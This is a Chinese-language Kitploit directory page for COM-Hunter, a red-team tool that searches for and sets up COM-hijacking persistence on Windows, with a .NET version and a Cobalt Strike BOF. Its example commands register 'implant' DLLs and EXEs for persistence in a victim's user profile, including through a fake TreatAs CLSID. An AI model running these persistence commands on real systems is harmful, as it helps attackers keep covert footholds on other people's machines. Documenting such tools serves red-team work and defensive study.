Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
COM-Hunter — Windows COM劫持持久化工具,支持搜索、经典、任务计划程序和TreatAs模式。提供.NET可执行文件和Cobalt Strike BOF形式,用于红队行动。 | Kitploit
工具/GitHubGitHub/nickvourd/com-hunter
权限提升持久化机制渗透测试红队
GitHubnickvourd/com-hunter

COM-Hunter

Windows COM劫持持久化工具,支持搜索、经典、任务计划程序和TreatAs模式。提供.NET可执行文件和Cobalt Strike BOF形式,用于红队行动。

查看仓库
3886122天前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

COM-Hunter

COM 劫持 VOODOO



GitHub License GitHub Repo stars
GitHub forks GitHub watchers GitHub contributors

描述

COM-Hunter 是一款 COM 劫持持久化工具。

提供 .NET 版本和完全兼容 Cobalt Strike 的 BOF 变体。

Static Badge Static Badge Static Badge

以下列表说明了可用的模式:

  • 搜索模式:基于 LocalServer32、InprocServer32 以及 HKLM 和 HKCU 下的注册表项搜索 CLSID。
  • 经典持久化模式:使用 LocalServer32 或 InprocServer32 执行经典 COM 劫持持久化。
  • 任务计划程序模式:通过任务计划程序自动使用 LocalServer32 或 InprocServer32 建立 COM 劫持持久化。
  • TreatAs 模式:通过 TreatAs 注册表键和一个虚假(可转发)的 CLSID,使用 LocalServer32 或 InprocServer32 执行 COM 劫持持久化。
  • 移除模式:移除依赖于 HKLM 和 HKCU 下 LocalServer32、InprocServer32 及相关注册表项的持久化机制。

ℹ️ 此工具已被选中,并自豪地成为 Cobalt Strike 社区工具包 的一部分。

如果您发现任何错误,请随时报告它们。您的反馈对于提高此项目的质量非常有价值!

免责声明

本项目作者和贡献者不对任何非法使用该工具的行为负责。该工具仅用于教育目的。用户有责任确使用方式合法。

目录

  • COM-Hunter
    • 描述
    • 免责声明
    • 目录
    • 致谢
    • 使用方法
    • .NET 示例
    • BOF 实现
    • 参考文献

致谢

本项目由 @nickvourd 和 @S1ckB0y1337 用心创建 ❤️。

特别感谢我的朋友 Marios Gyftos 在工具测试阶段提供的宝贵帮助。

灵感来源于 @zeropointsecltd 的 RTO 课程。

BOF 实现灵感来源于 Lefteris Panos 及其出色的项目 RegPersist。

base.c 和 bofdefs.h 文件直接复制自 TrustedSec 的 CS-Situational-Awareness-BOF 项目。

使用方法

root@kitploit:~
 ██████╗ ██████╗ ███╗   ███╗      ██╗  ██╗██╗   ██╗███╗   ██╗████████╗███████╗██████╗
██╔════╝██╔═══██╗████╗ ████║      ██║  ██║██║   ██║████╗  ██║╚══██╔══╝██╔════╝██╔══██╗
██║     ██║   ██║██╔████╔██║█████╗███████║██║   ██║██╔██╗ ██║   ██║   █████╗  ██████╔╝
██║     ██║   ██║██║╚██╔╝██║╚════╝██╔══██║██║   ██║██║╚██╗██║   ██║   ██╔══╝  ██╔══██╗
╚██████╗╚██████╔╝██║ ╚═╝ ██║      ██║  ██║╚██████╔╝██║ ╚████║   ██║   ███████╗██║  ██║
 ╚═════╝ ╚═════╝ ╚═╝     ╚═╝      ╚═╝  ╚═╝ ╚═════╝ ╚═╝  ╚═══╝   ╚═╝   ╚══════╝╚═╝  ╚═╝

                                   版本:3.0
                             @nickvourd && @S1ckB0y1337
                  ~ 灵感来源于 @zeropointsecltd 的 RTO 课程 ~

用法: COM_Hunter.exe <模式> <选项>

[+] 可用模式:
    search             搜索模式
    persist            经典持久化模式
    tasksch            任务计划程序模式
    treatas            TreatAs 模式
    remove             移除模式

[+] 搜索模式:
用法:COM-Hunter.exe search <CLSID> <选项>
    -a, --all                   搜索 HKLM 和 HKCU 中的 DLL 和 EXE 实现
    -i, --inprocserver32        搜索 HKLM 和 HKCU 中的 DLL 实现
    -l, --localserver32         搜索 HKLM 和 HKCU 中的 EXE 实现
    -m, --machine               搜索 HKLM 中的 DLL 和 EXE 实现
    -u, --user                  搜索 HKCU 中的 DLL 和 EXE 实现

[+] 经典持久化模式:
用法:COM-Hunter.exe persist <CLSID> <二进制路径> <选项>
    -i, --inprocserver32        设置 DLL 实现
    -l, --localserver32         设置 EXE 实现

[+] 任务计划程序模式:
用法:COM-Hunter.exe tasksch <二进制路径> <选项>
    -i, --inprocserver32        设置 DLL 实现
    -l, --localserver32         设置 EXE 实现

[+] TreatAs 模式:
用法:COM-Hunter.exe treatas <CLSID> <假_CLSID> <二进制路径> <选项>
    -i, --inprocserver32        设置 DLL 实现
    -l, --localserver32         设置 EXE 实现

[+] 移除模式:
用法:COM-Hunter.exe remove <CLSID> <选项>
    -a, --all                   移除 HKLM 和 HKCU 中的 DLL 和 EXE 实现
    -i, --inprocserver32        移除 HKLM 和 HKCU 中的 DLL 实现
    -l, --localserver32         移除 HKLM 和 HKCU 中的 EXE 实现
    -m, --machine               移除 HKLM 中的 DLL 和 EXE 实现
    -u, --user                  移除 HKCU 中的 DLL 和 EXE 实现

.NET 示例

ℹ️ 搜索 HKLM 和 HKCU 中的 DLL 和 EXE 实现:

root@kitploit:~
.\COM-Hunter.exe search 01575CFE-9A55-4003-A5E1-F38D1EBDCBE1 -a

ℹ️ 搜索 HKLM 和 HKCU 中的 EXE 实现:

root@kitploit:~
.\COM-Hunter.exe search "{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" -l

ℹ️ 进阶搜索 HKLM 中的 EXE 实现:

root@kitploit:~
.\COM-Hunter.exe search "{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" -l --machine

ℹ️ 搜索 HKCU 中的 EXE 和 DLL 实现:

root@kitploit:~
.\COM-Hunter.exe search AB8902B4-09CA-4bb6-B78D-A8F59079A8D5 --user

ℹ️ 使用 DLL 实现执行经典持久化:

root@kitploit:~
.\COM-Hunter.exe persist AB8902B4-09CA-4bb6-B78D-A8F59079A8D5 C:\Users\victim\Desktop\implant.dll -i

ℹ️ 使用 EXE 实现执行经典持久化:

root@kitploit:~
.\COM-Hunter.exe persist "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" C:\Users\victim\Desktop\implant.exe --localserver32

ℹ️ 通过任务计划程序使用 DLL 实现执行持久化:

root@kitploit:~
.\COM-Hunter.exe tasksch C:\Users\victim\Desktop\implant.dll --inprocserver32

ℹ️ 通过 TreatAs 注册表键和一个虚假(可转发)的 CLSID 使用 DLL 实现执行持久化:

root@kitploit:~
.\COM-Hunter.exe treatas AB8902B4-09CA-4bb6-B78D-A8F59079A8D5 "{00000012-1312-1997-2605-F38D1EBDCBE1}" C:\Users\victim\Desktop\implant.dll -i

ℹ️ 移除 HKCU 中的 DLL 实现持久化:

root@kitploit:~
.\COM-Hunter.exe remove AB8902B4-09CA-4bb6-B78D-A8F59079A8D5 -i -u

BOF 实现

ℹ️ 需要 MinGW-w64 工具链(x86_64-w64-mingw32-gcc 和 i686-w64-mingw32-gcc)

ℹ️ 为两种架构编译 BOF 目标文件:

root@kitploit:~
./make_all.sh

这将:

  1. 创建 com_hunter_* 目录。
  2. 编译 com_hunter_*.x64.o 和 com_hunter_*.x86.o。
  3. 将两个目标文件移动到各自的 com_hunter_*/ 目录中。

ℹ️ 编译 BOF 模块后,只需将 com_hunter_bof.cna 加载到 Cobalt Strike 中即可。

ℹ️ 清理构建产物,进入每个 src 目录并执行:

root@kitploit:~
make clean

参考文献

  • 持久化:“某物的持续或长久存在”:第 2 部分 – COM 劫持 by MDSec
  • 滥用 COM 注册表结构(第 2 部分):劫持与加载技术 by BOHOPS
  • 通过计划任务和 COM 处理程序劫持实现用户态持久化 by Enigma0x3
  • COM 对象劫持 by Virus Total
  • CS-Remote-OPs-BOF GitHub 仓库 by TrustedSec
  • Beacon 对象文件开发人员入门 by TrustedSec
  • BOF 开发与攻防技巧课程 by Zeropoint Security
下载工具